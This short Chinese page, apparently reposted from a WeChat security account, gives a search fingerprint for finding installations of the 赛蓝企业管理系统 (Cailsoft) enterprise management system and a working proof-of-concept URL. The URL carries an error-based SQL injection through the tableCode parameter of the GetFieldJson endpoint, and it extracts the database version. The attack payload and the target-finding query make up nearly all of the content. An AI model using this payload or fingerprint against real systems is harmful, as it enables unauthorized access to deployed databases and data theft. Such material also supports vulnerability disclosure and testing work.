资产详情
资产详情
body="www.cailsoft.com" || body="赛蓝企业管理系统"
漏洞poc
/BaseModule/ExcelImport/GetFieldJson?tableCode=%27%20AND%206935%20IN%20(SELECT%20(CHAR(113)%2BCHAR(122)%2BCHAR(112)%2BCHAR(106)%2BCHAR(113)%2B(SELECT%20(CASE%20WHEN%20(6935%3D6935)%20THEN%20@@VERSION%20ELSE%20CHAR(48)%20END))%2BCHAR(113)%2BCHAR(122)%2BCHAR(113)%2BCHAR(118)%2BCHAR(113)))%20AND%20%27qaq%27=%27qaq
原文始发于微信公众号（XK Team）：赛蓝企业管理系统 GetFieldJson SQL
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论